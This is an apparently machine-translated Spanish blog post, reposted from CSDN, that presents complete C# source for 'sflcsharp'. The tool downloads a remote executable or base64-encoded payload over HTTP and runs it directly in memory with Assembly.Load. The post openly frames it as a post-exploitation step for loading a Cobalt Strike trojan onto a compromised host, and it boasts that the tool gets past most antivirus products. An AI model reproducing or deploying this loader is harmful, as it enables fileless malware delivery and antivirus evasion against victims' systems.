Utilice un archivo C # completamente seguro para descargar troyanos remotos a la memoria para su ejecución

Prefacio

Después de obtener el shell de un host, generalmente pensamos en formas de "actualizar" el shell, lo más común es cargar un caballo de Troya CS, que será muy conveniente para nuestro trabajo posterior a la infiltración.

Implementación de código: sflcsharp

Efecto anti-muerte

Inserte la descripción de la imagen aquí
La mayoría de ellos no mueren

Efecto de ejecución

Cargamos dos archivos por adelantado en el host con ip 10.92.52.27, uno es helloworld.exe y el otro es el formato de texto cifrado base64 de este archivo. El efecto de ejecución de este archivo exe es generar fffffff en el comando, como se muestra en la siguiente figura:

Inserte la descripción de la imagen aquí
En este momento, use el parámetro -b de sflcsharp para cargar el archivo exe de lenguaje c # remoto:
Inserte la descripción de la imagen aquí
use el parámetro -b64 para cargar el texto cifrado b64 remoto:
Inserte la descripción de la imagen aquí

Código detallado

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;

namespace demo1
{
    
    
    class Program
    {
    
    
        static void Main(string[] args)
        {
    
    
            string fileDownloadurl = null;
            string filedownloadtype = null;
            byte[] filebuffer = null;
            try
            {
    
    
                fileDownloadurl = args[1];
                filedownloadtype = args[0];
            }
            catch
            {
    
    
                Console.WriteLine("\n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");
                Console.WriteLine("\n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");
                Environment.Exit(0);
            }
            if (filedownloadtype == "-b")
            {
    
    
                filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
            }
            if (filedownloadtype == "-b64")
            {
    
    
                filebuffer = downloadbase64(fileDownloadurl);
            }
            if (filebuffer != null)
            {
    
    
                Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");
                Assembly assemblyinstance = Assembly.Load(filebuffer);  //将下载下来的程序加载到当前用户的内存中
                Console.WriteLine("正在寻找程序入口点并执行程序");
                assemblyinstance.EntryPoint.Invoke(null,new object[] {
    
     null}); //找到程序的入口点并执行程序
                Console.WriteLine("\n程序执行完毕");
            }
        }
        public static byte[] Downloadbinarypefilebyhttp(string url)
        {
    
    
            Console.WriteLine("\n创建WebClient类用来下载PE文件");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");
            byte[] test = downloadwebclient.DownloadData(url);
            return test;
        }
        public static byte[] downloadbase64(string url)
        {
    
    
            Console.WriteLine("\n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            string b64 = downloadwebclient.DownloadString(url);
            Console.WriteLine("将base64字符串转换为byte[]类型的数据");
            byte[] test = Convert.FromBase64String(b64);
            return test;
        }
    }
}

Explicación del principio

Una de las clases en el marco .NET de Windows es la clase ensambladora. Esta clase puede almacenar datos de tipo byte [] en la memoria y ejecutarlos como un archivo de ensamblaje. El archivo de ensamblaje es el archivo dll y el archivo exe escrito en c #. Sin embargo, hay funciones que pueden descargar archivos exe remotos al local y guardarlos en formato byte []. Después de combinar estos dos métodos, puede descargar archivos c # remotos a la memoria para su ejecución directa, lo que puede evitar la mayoría de los programas anti-software.

Supongo que te gusta

Origin blog.csdn.net/qq_41874930/article/details/108758459
Recomendado
Clasificación